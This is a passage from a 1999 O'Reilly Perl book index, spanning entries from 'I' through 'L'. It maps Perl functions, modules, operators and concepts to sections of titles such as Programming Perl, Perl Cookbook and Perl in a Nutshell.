Perl Cookbook, 13.8. Determining Subclass Membership
ISAP : Learning Perl on Win32 Systems, 1.3.1. ActiveState Perl for Win32
ISAPI extensions : Learning Perl on Win32 Systems, 18.7.2. PerlIS and PerlScript
IsClientConnected property (Response object) : Perl in a Nutshell, 20.2.2.2. Response properties
isindex() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: isindex
IsWin95 module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
IsWinNT module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
Item() (Win32::OLE::Enum) : Perl in a Nutshell, 19.18.3. Win32::OLE::Enum
=item command (pod) : Perl in a Nutshell, Chapter 4, Reference: =item
item tags (Canvas widgets) : Perl in a Nutshell, 18.12.2. Item Tags and IDs
itemcget() (Canvas) : Perl in a Nutshell, 18.12.3. Canvas Methods
itemconfigure() (Canvas) : Perl in a Nutshell, 18.12.3. Canvas Methods
iterating scripts over filenames : Perl in a Nutshell, 3.2. Command-Line Options
iterations : (see arrays; lists; loops)
iterators
Advanced Perl Programming, 4.4.2. Iterators and Streams
Perl Cookbook, 4.4. Doing Something with Every Element in a List
itimer routines : Programming Perl, 3.2.5. alarm
IVs (integer values) : Advanced Perl Programming, 20.3.1.3. SVs and object pointers

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

jam program (example) : Perl Cookbook, 12.14. Using h2ph to Translate C #include Files
Java language
callbacks in : Advanced Perl Programming, 4.5.4. Java
dynamic tracing : Advanced Perl Programming, 9.6.4. Java
exception handling : Advanced Perl Programming, 5.2. The Block Form: Exception Handling
modular programming in : Advanced Perl Programming, 6.9.4. Java
object orientation : Advanced Perl Programming, 7.5.3. C++ and Java
references in : Advanced Perl Programming, 1.7.4. Java
run-time evaluation and error handling : Advanced Perl Programming, 5.7.4. Java
JavaScript features with CGI.pm : Perl in a Nutshell, 10.5. Using JavaScript Features
Jeeves code generation framework
Advanced Perl Programming, 17.3. Jeeves Overview
Advanced Perl Programming, 17.4.3. Jeeves Driver
example of : Advanced Perl Programming, 17.2. Jeeves Example
implementation of : Advanced Perl Programming, 17.4. Jeeves Implementation
overview of : Advanced Perl Programming, 17.3. Jeeves Overview
Johnson, Kevin
Perl in a Nutshell, 14. Email Connectivity
Perl in a Nutshell, 14.2.3. Handle Folders with Mail::Folder
join()
Learning Perl, 7.6.2. The join Function
Perl in a Nutshell, Chapter 5, Reference: join
Programming Perl, 3.2.78. join
examples of
Learning Perl, A.15. Chapter 16, System Database Access
Learning Perl, 16.3. Getting Network Information
Learning Perl on Win32 Systems, 16.3. Getting Network Information
-jump option (Scrollbar) : Perl in a Nutshell, 18.9. The Scrollbar Widget
justification : Programming Perl, 2.8. Formats
-justify option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

-k file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
keyboard events : Advanced Perl Programming, 14.6. Event Bindings
keyboard input
(see also
(see also input)
Perl Cookbook, 15.6. Reading from the Keyboard
Perl Cookbook, 15.11. Editing Input
checking for : Perl Cookbook, 15.9. Checking for Waiting Input
keys()
Perl Cookbook, 5.4. Traversing a Hash
Perl Cookbook, 5.6. Retrieving from a Hash in Insertion Order
Perl Cookbook, 5.9. Sorting a Hash
Perl Cookbook, 5.11. Finding Common or Different Keys in Two Hashes
Learning Perl, 1.5.16. Maintaining a Last-Good-Guess Database
Learning Perl, 5.4.1. The keys Function
Learning Perl on Win32 Systems, 1.6.13. Many Secret Word Files in the Current Directory
Learning Perl on Win32 Systems, 1.6.16. Maintaining a Last-Good-Guess Database
Learning Perl on Win32 Systems, 5.4.1. The keys Function
Perl in a Nutshell, Chapter 5, Reference: keys
Programming Perl, 3.2.79. keys
scalar context and : Learning Perl, 5.4.1. The keys Function
Tie::IxHash module and : Perl Cookbook, 5.6. Retrieving from a Hash in Insertion Order
using : Learning Perl, 1.5.13. Many Secret Word Files in the Current Directory
keys, hash
(see also hashes (associative arrays))
Learning Perl, 5.1. What Is a Hash?
Learning Perl on Win32 Systems, 5.1. What Is a Hash?
keys, Registry : Learning Perl on Win32 Systems, 16.4.1. The Registry Structure
keywords() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: isindex
kill()
Learning Perl, 14.6. Sending and Receiving Signals
Perl in a Nutshell, Chapter 5, Reference: kill
Programming Perl, 3.2.80. kill
Win32::Process module : Perl in a Nutshell, Chapter 19, Reference: Kill
kill command
-l option : Programming Perl, 6.2.1. Signals
listing available signals : Perl Cookbook, 16.13. Listing Available Signals
sending signals : Perl Cookbook, 16.14. Sending a Signal
killtags program (example) : Perl Cookbook, 6.6. Matching Multiple Lines
kit'n'caboodle : Learning Perl, 15.4. Advanced Sorting
kitty : Learning Perl, 6.2. Input from the Diamond Operator
kludge : Learning Perl, 9.4. Labeled Blocks
Koenig, Andreas : Perl in a Nutshell, 2.1. The CPAN Architecture

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

l command (Perl debugger)
Perl in a Nutshell, Chapter 6, Reference: l
Programming Perl, 8.1.1. Debugger Commands
L command (Perl debugger)
Perl in a Nutshell, Chapter 6, Reference: L
Programming Perl, 8.1.1. Debugger Commands
-l file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
L<> interior sequence (pod) : Perl in a Nutshell, 4.11.2. Interior sequences
-l option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-L option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
\l string escape : Perl Cookbook, 1.9. Controlling Case
\L string escape : Perl Cookbook, 1.9. Controlling Case
-l switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
-label option
Frame widget : Perl in a Nutshell, 18.17. The Frame Widget
Menubutton widget : Perl in a Nutshell, 18.14.1. Menu Item Options
Scale widget : Perl in a Nutshell, 18.13. The Scale Widget
Label widget (Perl/Tk) : Perl in a Nutshell, 18.7. The Label Widget
label_exists() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: label_exists
-labelPack option (Frame) : Perl in a Nutshell, 18.17. The Frame Widget
labels
Advanced Perl Programming, 14.3.2. Labels and Buttons
Learning Perl, 9.4. Labeled Blocks
goto statement
Programming Perl, 2.6.6. Goto
Programming Perl, 3.2.71. goto
loops
Perl in a Nutshell, 4.3.1.5. Loop control
Programming Perl, 2.6.4. Loop Statements
Programming Perl, 2.6.4.4. Loop control
Programming Perl, 8.4. Programming with Style
menu : Perl Cookbook, 15.14. Creating Menus with Tk
names for : Programming Perl, 2.3.1. Variables
statement blocks : Perl in a Nutshell, 4.3. Statements
-labelVariable option (Frame) : Perl in a Nutshell, 18.17. The Frame Widget
languages
extension modules : Learning Perl on Win32 Systems, B.2.14. For Developers: Language Extensions and Platform Development Support
generating in Perl : Programming Perl, 6.4.1.1. Generating other languages in Perl
generating Perl in : Programming Perl, 6.4.1.2. Generating Perl in other languages
natural vs. artificial : Programming Perl, 1.2. Natural and Artificial Languages
translating
Programming Perl, 6.4.2. Translation from Other Languages
Programming Perl, 8.5.1. Translation from Awk and Sed
last operator
Perl Cookbook, 4.12. Finding the First List Element That Passes a Test
Learning Perl on Win32 Systems, 9.1. The last Statement
Perl in a Nutshell, Chapter 5, Reference: last
Perl in a Nutshell, 4.3.1.5. Loop control
Programming Perl, 1.6.2.4. Breaking out: next and last
Programming Perl, 2.6.4.4. Loop control
Programming Perl, 3.2.81. last
Programming Perl, 8.3.1. Time Efficiency
Programming Perl, 8.4. Programming with Style
examples of
Learning Perl on Win32 Systems, A.8. Chapter 9, Miscellaneous Control Structures
Learning Perl on Win32 Systems, 9.5. Expression Modifiers
Net::NNTP module : Perl in a Nutshell, Chapter 15, Reference: last
Net::POP3 module : Perl in a Nutshell, Chapter 14, Reference: last
Last() (Mail::POP3Client) : Perl in a Nutshell, Chapter 14, Reference: Last
last access/modification times
Learning Perl, 13.7. Modifying Timestamps
Learning Perl on Win32 Systems, 13.5. Modifying Timestamps
last index (Menu widget) : Perl in a Nutshell, 18.15.1. Menu Indexes
last_labeled_message() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: last_labeled_message
last_message() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: last_message
$LAST_PAREN_MATCH ($+) variable
Perl Cookbook, 6.0. Introduction
Perl in a Nutshell, 4.4.5. Regular Expression Special Variables
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.9.1. Regular Expression Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
LastError() (Win32::OLE) : Perl in a Nutshell, Chapter 19, Reference: LastError
laston program : Perl Cookbook, 8.20. Program: laston
LaTeX, translating pod to : Perl in a Nutshell, Chapter 4, Reference: pod2latex
lc()
Perl Cookbook, 1.9. Controlling Case
Perl in a Nutshell, Chapter 5, Reference: lc
Programming Perl, 3.2.82. lc
lcfirst()
Perl Cookbook, 1.9. Controlling Case
Perl in a Nutshell, Chapter 5, Reference: lcfirst
Programming Perl, 3.2.83. lcfirst
le (less than or equal) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
leading whitespace, removing : Perl Cookbook, 1.14. Trimming Blanks from the Ends of a String
leaving : (see terminating)
left angle bracket : (see < > (angle brackets))
left associativity : Learning Perl, 2.4.3. Operator Precedence and Associativity
left justification : Programming Perl, 2.8.1. Format Variables
left-right pairs as delimiters : Learning Perl, 7.4.3. Using a Different Delimiter
left-shift (<<) operator : Programming Perl, 2.5.9. Shift Operators
length
of arrays : Programming Perl, 2.3.4. List Values and Arrays
of strings : Programming Perl, 8.3.1. Time Efficiency
length()
Learning Perl, A.15. Chapter 16, System Database Access
Learning Perl, 17.4. Fixed-Length Random Access Databases
Learning Perl on Win32 Systems, 17.4. Fixed-Length Random-Access Databases
Perl in a Nutshell, Chapter 5, Reference: length
Programming Perl, 3.2.84. length
-length option (Scale) : Perl in a Nutshell, 18.13. The Scale Widget
less module : Perl in a Nutshell, 8.102. less
less than (<, lt) operators
Learning Perl on Win32 Systems, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
Programming Perl, 2.5.11. Relational Operators
less than or equal (<, le) operators
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
Programming Perl, 2.5.11. Relational Operators
less than sign : (see < > (angle brackets))
lexical scoping
Advanced Perl Programming, 3.1.2. Lexical Versus Dynamic Scoping
Perl Cookbook, 10.2. Making Variables Private to a Function
Perl Cookbook, 10.13. Saving Global Values
Perl in a Nutshell, 4.2.6. Declarations and Scope
Perl in a Nutshell, 4.7.4. Private and Local Variables
Programming Perl, 2.6.8. Scoped Declarations
lexical variables
Advanced Perl Programming, 3.1.1. Lexical Variables
Advanced Perl Programming, 6.1.1. Packages and Variables
lib module
Perl in a Nutshell, 8.103. lib
Programming Perl, 7.2.41. lib - Manipulate @INC at Compile-Time
lib-win32 library : (see Win32 modules)
lib-www-perl file : (see LWP library)
Liblist module : Programming Perl, 7.2.17. ExtUtils::Liblist - Determine Libraries to Use and How to Use Them
libnet modules : Perl in a Nutshell, 14. Email Connectivity
libraries
(see directories)
Advanced Perl Programming, 6.2. Packages and Files
Perl Cookbook, 12.0. Introduction
Programming Perl, 7. The Standard Perl Library
definition of : Learning Perl on Win32 Systems, B.1. Library Terminology
ExtUtils::Liblist module : Programming Perl, 7.2.17. ExtUtils::Liblist - Determine Libraries to Use and How to Use Them
WWW access in Perl (LWP) : Learning Perl, 19.10.3. Web Automation with LWP
library modules, functions for : Perl in a Nutshell, 5.1. Perl Functions by Category
libwin32 package : Learning Perl on Win32 Systems, 1.3.2. Standard Perl Distribution
libwww-perl modules : Perl Cookbook, 20.0. Introduction
line breaks
(see also whitespace)
Perl Cookbook, 6.6. Matching Multiple Lines
counting lines in files : Perl Cookbook, 8.2. Counting Lines (or Paragraphs or Records) in a File
defining lines : Perl Cookbook, 8.11. Processing Binary Files
deleting last file line : Perl Cookbook, 8.10. Removing the Last Line of a File
extracting ranges of lines : Perl Cookbook, 6.8. Extracting a Range of Lines
matching across multiple lines : Perl Cookbook, 6.6. Matching Multiple Lines
random lines from files : Perl Cookbook, 8.6. Picking a Random Line from a File
randomizing file line order : Perl Cookbook, 8.7. Randomizing All Lines
reading files backwards : Perl Cookbook, 8.4. Reading a File Backwards by Line or Paragraph
reading with continuation characters : Perl Cookbook, 8.1. Reading Lines with Continuation Characters
line counter : (see $ variables, $. variable)
line input operators : (see angle operator)
line mode interfaces : Perl Cookbook, 15.0. Introduction
line number : Programming Perl, 2.3.2.7. Other literal tokens
__LINE__ token
Perl Cookbook, 10.4. Determining Current Function Name
Perl in a Nutshell, 4.4.4. Global Special Constants
Programming Perl, 2.3.2.7. Other literal tokens
line-end processing
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
line-input <...> operator : Perl in a Nutshell, 4.9. Filehandles
line-oriented quoting : Programming Perl, 2.3.2.6. "Here" documents
LINE: (implicit loop label) : Perl Cookbook, 7.7. Writing a Filter
LineInfo option (PERLDB_OPTS) : Perl in a Nutshell, 6.4. Customizing the Debugger
linestart, lineend modifiers (Text widget) : Perl in a Nutshell, 18.11.1. Text Indexes and Modifiers
Lingua::EN::Inflect module : Perl Cookbook, 2.18. Printing Correct Plurals
link()
Learning Perl, A.12. Chapter 13, File and Directory Manipulation
Learning Perl, 13.3.2. Creating Hard and Soft Links with Perl
Learning Perl on Win32 Systems, 13. File and Directory Manipulation
Perl in a Nutshell, Chapter 5, Reference: link
Programming Perl, 3.2.85. link
link object (PerlScript) : Perl in a Nutshell, 20.1.1. The Document Object
links
(see hyperlinks)
(see symbolic links)
Lint backend (Perl compiler) : Perl in a Nutshell, 3.4. The Perl Compiler
Linux, installing Perl and : Perl in a Nutshell, 2.3.1. Installing on Unix
list()
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: list
Net::NNTP module : Perl in a Nutshell, Chapter 15, Reference: list
Net::POP3 module : Perl in a Nutshell, Chapter 14, Reference: list
List()
Mail::POP3Client module : Perl in a Nutshell, Chapter 14, Reference: List
Win32::Internet module : Perl in a Nutshell, Chapter 19, Reference: List
list active command (NNTP) : Perl in a Nutshell, 15.1. The NNTP Protocol
list_all_labels() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: list_all_labels
list assignment : Perl Cookbook, 1.3. Exchanging Values Without Using Temporary Variables
list context
Perl in a Nutshell, 4.2.5. Scalar and List Contexts
Programming Perl, 1.8. List Processing
Programming Perl, 2.3.3.1. Scalar and list context
Programming Perl, 3. Functions
angle operator in : Programming Perl, 2.3.7.2. Line input (angle) operator
detecting : Perl Cookbook, 10.6. Detecting Return Context
forcing scalar context instead : Programming Perl, 3.2.131. scalar
range (..) operator in : Programming Perl, 2.5.15. Range Operator
recognizing in debugger : Programming Perl, 8.1.2. Using the Debugger
list_labels() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: list_labels
list prototype symbol (@) : Perl in a Nutshell, 4.7.5. Prototypes
list reference (in Perl 5.0) : Learning Perl, 3.4.1. Assignment
$LIST_SEPARATOR ($") variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Listbox widget (Perl/Tk) : Perl in a Nutshell, 18.10. The Listbox Widget
listen()
Perl Cookbook, 17.0. Introduction
Perl in a Nutshell, Chapter 5, Reference: listen
Programming Perl, 3.2.86. listen
Socket module
Perl in a Nutshell, 13.1. Built-in Socket Functions
Perl in a Nutshell, 13.1.3. Server Connections
Listen option
IO::Socket::INET module : Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
IO::Socket::UNIX module : Perl in a Nutshell, 13.2.5. IO::Socket::UNIX Reference
listgroup() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: listgroup
listing code : Programming Perl, 8.1.1. Debugger Commands
listing the /etc directory, example of : Learning Perl, 12.5. Reading a Directory Handle
lists
(see also arrays)
Perl Cookbook, 4.0. Introduction
Learning Perl, 1.5.5. More than One Secret Word
Learning Perl, 3.1. What Is a List or Array?
Learning Perl on Win32 Systems, 1.6.5. More than One Secret Word
Learning Perl on Win32 Systems, 3.1. What Is a List or Array?
Perl in a Nutshell, 4.2.3. Lists
Programming Perl, 1.2.1.2. Pluralities
Programming Perl, 2.3.4. List Values and Arrays
arrays vs. : Perl Cookbook, 4.0. Introduction
chopping : Programming Perl, 3.2.14. chop
circular : Perl Cookbook, 4.16. Implementing a Circular List
constructor operator (..) : Learning Perl, 3.2. Literal Representation
extracting particular elements/subsets
Perl Cookbook, 4.6. Extracting Unique Elements from a List
Perl Cookbook, 4.13. Finding All Elements in an Array Matching Certain Criteria
flattened : Perl Cookbook, 4.0. Introduction
foreach statement and
Learning Perl, 4.5. The foreach Statement
Learning Perl on Win32 Systems, 4.6. The foreach Statement
as function arguments : Programming Perl, 3. Functions
functions for processing : Perl in a Nutshell, 5.1. Perl Functions by Category
HList widgets
Advanced Perl Programming, A.8. HList - Hierarchical List
Advanced Perl Programming, 14.3.11. HList
initializing : Perl Cookbook, 4.1. Specifying a List In Your Program
iterating through all elements
Perl Cookbook, 4.4. Doing Something with Every Element in a List
Perl Cookbook, 4.12. Finding the First List Element That Passes a Test
Listbox widgets
Advanced Perl Programming, A.4. Listbox
Advanced Perl Programming, 14.3.6. Listbox
map function and : Programming Perl, 3.2.91. map
nested
Learning Perl, 3.4.1. Assignment
Programming Perl, 4.6. A Brief Tutorial: Manipulating Lists of Lists
Programming Perl, 4.7. Data Structure Code Examples
operators for
Perl in a Nutshell, 4.5. Operators
Programming Perl, 2.5.1. Terms and List Operators (Leftward)
Programming Perl, 2.5.19. List Operators (Rightward)
passing arguments to subroutines : Perl in a Nutshell, 4.7.2. Passing Arguments
permute programs : Perl Cookbook, 4.19. Program: permute
printing with commas : Perl Cookbook, 4.2. Printing a List with Commas
processing multiple elements : Perl Cookbook, 4.11. Processing Multiple Elements of an Array
randomizing element order : Perl Cookbook, 4.17. Randomizing an Array
replicating with x operator : Programming Perl, 2.5.7. Multiplicative Operators
returning elements in reverse order : Programming Perl, 3.2.126. reverse
reversing elements of : Perl Cookbook, 4.10. Reversing an Array
ScrlListBox function : Advanced Perl Programming, 14.3.9. Scrollbars and Scrolling
scrolling : Learning Perl, 19.7.2. Fancier Calling Sequences
sorting : Programming Perl, 3.2.153. sort
as subroutine return values : Learning Perl, 8.3. Return Values
as subscript, examples of
Learning Perl, A.15. Chapter 16, System Database Access
Learning Perl, 16.1. Getting Password and Group Information
syscall function with : Programming Perl, 3.2.164. syscall
unions, intersections, differences : Perl Cookbook, 4.7. Finding Elements in One Array but Not Another
values of : Programming Perl, 2.3.4. List Values and Arrays
words program (example) : Perl Cookbook, 4.18. Program: words
LISTs
(see also lists)
Programming Perl, 1.8. List Processing
literal lists, slices of : Learning Perl, 3.4.2. Array Element Access
literals : Programming Perl, 2.4.1.1. The regular expression bestiary
array literals : Learning Perl, 3.2. Literal Representation
hashes (associative arrays) : Learning Perl, 5.3. Literal Representation of a Hash
numeric : (see numbers)
pseudo-literals : (see input, operators)
string : (see strings)
little-endian : Learning Perl, 16.2. Packing and Unpacking Binary Data
llamas, counting : Learning Perl, 18.1. Converting awk Programs to Perl
ln command
and -s option, emulating : Learning Perl, 13.3.2. Creating Hard and Soft Links with Perl
and creating links : Learning Perl, 13.3.2. Creating Hard and Soft Links with Perl
.lnk files : Perl in a Nutshell, 19.16. Win32::Shortcut
load()
HTTP::Cookies module : Perl in a Nutshell, Chapter 17, Reference: load
News::Newsrc module : Perl in a Nutshell, Chapter 15, Reference: load
Load()
Win32::OLE::Const module : Perl in a Nutshell, 19.18.5. Win32::OLE::Const
Win32::Registry module : Perl in a Nutshell, Chapter 19, Reference: Load
Win32::Shortcut module : Perl in a Nutshell, Chapter 19, Reference: Load
load_all function : Advanced Perl Programming, 11.3.1.2. Retrieving objects
load path : Advanced Perl Programming, 6.2.1. Load Path
loader program (example) : Perl Cookbook, 15.17. Removing the DOS Shell Window with Windows Perl/Tk
loading functions : (see AutoLoader module; SelfLoader module)
AutoLoader module : Perl in a Nutshell, 8.3. AutoLoader
DynaLoader module : Perl in a Nutshell, 8.44. DynaLoader
SelfLoader module
Perl in a Nutshell, 8.129. SelfLoader
Programming Perl, 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
Programming Perl, 7.2.55. SelfLoader - Load Functions Only on Demand
loading modules : (see modules)
local
communications : Programming Perl, 6.2.4.2. UNIX-domain clients and servers
declaration : Programming Perl, 3.2.87. local
filehandles
Advanced Perl Programming, 3.4.3. Localizing Filehandles
Programming Perl, 2.3.6. Typeglobs and Filehandles
servers : Learning Perl on Win32 Systems, 19.1. Introduction to OLE Automation
time : Programming Perl, 7.2.75. Time::Local - Efficiently Compute Time from Local and GMT Time
variables
Advanced Perl Programming, 3.2.3. Aliasing Problem: Variable Suicide
Advanced Perl Programming, 4.3.1. Closures, Behind the Scenes
Advanced Perl Programming, 20.3.5.2. How local and my work
Perl in a Nutshell, 4.2.6. Declarations and Scope
Perl in a Nutshell, 4.7.4. Private and Local Variables
Programming Perl, 2.6.8. Scoped Declarations
Programming Perl, 3.2.87. local
Programming Perl, 8.2.2. Frequently Ignored Advice
and foreach statement : Learning Perl, 4.5. The foreach Statement
creating, with local() : Learning Perl, 8.5. Private Variables in Functions
foreach statement : Learning Perl on Win32 Systems, 4.6. The foreach Statement
in subroutines, example of : Learning Perl on Win32 Systems, 8.4. Arguments
local()
Perl Cookbook, 10.13. Saving Global Values
Perl Cookbook, 10.14. Redefining a Function
Perl Cookbook, 16.16. Temporarily Overriding a Signal Handler
Learning Perl, 8.5. Private Variables in Functions
Perl in a Nutshell, Chapter 5, Reference: local
Programming Perl, 3.2.87. local
Programming Perl, 8.2.1. Universal Blunders
Programming Perl, 8.2.2. Frequently Ignored Advice
examples of
Learning Perl, A.7. Chapter 8, Functions
Learning Perl, 11.4.2. Numeric Fields
Learning Perl on Win32 Systems, A.7. Chapter 8, Functions
Learning Perl on Win32 Systems, 11.4.2. Numeric Fields
loops and : Learning Perl, 8.5. Private Variables in Functions
Local module : Programming Perl, 7.2.75. Time::Local - Efficiently Compute Time from Local and GMT Time
local operator
Advanced Perl Programming, 1.2.3. References to Anonymous Storage
Advanced Perl Programming, 3.1.2. Lexical Versus Dynamic Scoping
Local option (IO::Socket::UNIX) : Perl in a Nutshell, 13.2.5. IO::Socket::UNIX Reference
LocalAddr option (IO::Socket::INET) : Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
locale module : Perl in a Nutshell, 8.104. locale
locale settings : Perl Cookbook, 6.12. Honoring Locale Settings in Regular Expressions
localizing functions : Perl Cookbook, 10.14. Redefining a Function
localizing variables : Advanced Perl Programming, 1.2.3. References to Anonymous Storage
LocalPort option (IO::Socket::INET) : Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
localtime()
Perl Cookbook, 3.0. Introduction
Perl Cookbook, 3.8. Printing a Date
Perl in a Nutshell, Chapter 5, Reference: localtime
Perl in a Nutshell, 4.2.5. Scalar and List Contexts
Programming Perl, 3.2.88. localtime
location object (PerlScript) : Perl in a Nutshell, 20.1. Client-Side PerlScript
lockarea program : Perl Cookbook, 7.22. Program: lockarea
lockf function, emulating : Programming Perl, 3.2.37. fcntl
locking
blocking signals : Perl Cookbook, 16.20. Blocking Signals
databases : Programming Perl, 7.2.8.7. Locking databases
DBK files : Perl Cookbook, 14.5. Locking DBM Files
DBM files : Programming Perl, 3.2.24. dbmopen
files
Perl Cookbook, 7.11. Locking a File
Perl Cookbook, 7.21. Program: netlock
region-specific locks : Perl Cookbook, 7.22. Program: lockarea
log()
Perl Cookbook, 2.13. Taking Logarithms
Perl in a Nutshell, Chapter 5, Reference: log
Programming Perl, 3.2.89. log
log files
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 20.12. Parsing a Web Server Log File
Programming Perl, 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
processing : Perl Cookbook, 20.13. Processing Server Logs
-log option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
log10() : Perl Cookbook, 2.13. Taking Logarithms
log_base() (example) : Perl Cookbook, 2.13. Taking Logarithms
logarithms (mathematic)
Perl Cookbook, 2.13. Taking Logarithms
Programming Perl, 3.2.89. log
LOGDIR variable : Perl in a Nutshell, 3.3. Environment Variables
Logfile::Apache : Perl Cookbook, 20.13. Processing Server Logs
logical functionality in patterns : Perl Cookbook, 6.17. Expressing AND, OR, and NOT in a Single Pattern
logical operators
Perl in a Nutshell, 4.5.9. Logical Operators
Programming Perl, 1.5.5. Logical Operators
Programming Perl, 2.5.14. C-style Logical (Short Circuit) Operators
Programming Perl, 2.5.20. Logical and, or, not, and xor
AND (&&) : Programming Perl, 2.5.14. C-style Logical (Short Circuit) Operators
comparison : Learning Perl, 2.4.1. Operators for Numbers
negation (!)
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Programming Perl, 2.5.5. Ideographic Unary Operators
OR (||) operator : Programming Perl, 2.5.14. C-style Logical (Short Circuit) Operators
logical text widget positioning : Advanced Perl Programming, 14.3.5.2. Inserting text at logical positions
login()
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: login
Net::Netrc module : Perl in a Nutshell, Chapter 16, Reference: login
Net::POP3 module
Perl in a Nutshell, Chapter 14, Reference: login
Perl in a Nutshell, 14.1.3. Retrieving Email with Net::POP3
Login() (Mail::POP3Client)
Perl in a Nutshell, Chapter 14, Reference: Login
Perl in a Nutshell, 14.2.8.6. Explicitly opening and closing connections
login entries (.netrc) : Perl in a Nutshell, 16.3. FTP Configuration with Net::Netrc
login names, accessing : Learning Perl, 7.7. Exercises
login sessions : Perl Cookbook, 15.0. Introduction
login shells, example of changing : Learning Perl, 17.5. Variable-Length (Text) Databases
LoginName function : Learning Perl on Win32 Systems, 16.1. Getting User and Machine Information
LoginName module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
logn() (Math::Complex) : Perl Cookbook, 2.13. Taking Logarithms
Long module : Programming Perl, 7.2.35. Getopt::Long - Extended Processing of Command-Line Options
longjmp function : Advanced Perl Programming, 5.6. Using Eval for Time-Outs
LongReadLen attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
LongTruncOk attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
look() : Programming Perl, 7.2.53. Search::Dict - Search for Key in Dictionary File
look command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: look
lookahead assertion : Programming Perl, 2.4.1.4. Regular expression extensions
lookup() (Net::Netrc) : Perl in a Nutshell, Chapter 16, Reference: lookup
LookupAccountName module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
LookupAccountSID module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
loop variables : Perl Cookbook, 4.4. Doing Something with Every Element in a List
loops
Learning Perl, 9.1. The last Statement
Perl in a Nutshell, 4.3.1. Conditionals and Loops
Programming Perl, 1.6.2. Iterative (Looping) Constructs
Programming Perl, 2.6.4. Loop Statements
Programming Perl, 8.2.1. Universal Blunders
Programming Perl, 8.4. Programming with Style
endless/infinite
Learning Perl, 4.3. The while/until Statement
Learning Perl, 9.3. The redo Statement
Learning Perl on Win32 Systems, 4.3. The while/until Statement
Learning Perl on Win32 Systems, 9.3. The redo Statement
Programming Perl, 2.6.4.2. For loops
eval function within : Programming Perl, 8.3.1. Time Efficiency
iterating scripts over filenames : Perl in a Nutshell, 3.2. Command-Line Options
labels for : Programming Perl, 2.6.4.4. Loop control
last operator
Learning Perl, 9.1. The last Statement
Programming Perl, 3.2.81. last
local() and : Learning Perl, 8.5. Private Variables in Functions
nested, exiting from : Learning Perl, 9.4. Labeled Blocks
next operator : Programming Perl, 3.2.99. next
redo operator and : Programming Perl, 3.2.120. redo
reset function and : Programming Perl, 3.2.124. reset
running time for code in : Programming Perl, 7.2.4. Benchmark - Check and Compare Running Times of Code
low-level socket access functions : Perl in a Nutshell, 5.1. Perl Functions by Category
lower() (Canvas) : Perl in a Nutshell, 18.12.3. Canvas Methods
lowercase program (example) : Perl Cookbook, 7.7. Writing a Filter
lowercase, converting to/from : (see case/capitalization)
lpa() (Net::Netrc) : Perl in a Nutshell, Chapter 16, Reference: lpa
lpr command, examples of : Learning Perl, 14.3. Using Processes as Filehandles
ls() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: ls
lst program : Perl Cookbook, 9.12. Program: lst
lstat()
(see also stat())
Learning Perl, 10.6. The stat and lstat Functions
Perl in a Nutshell, Chapter 5, Reference: lstat
Programming Perl, 3.2.90. lstat
lt (less-than) operator
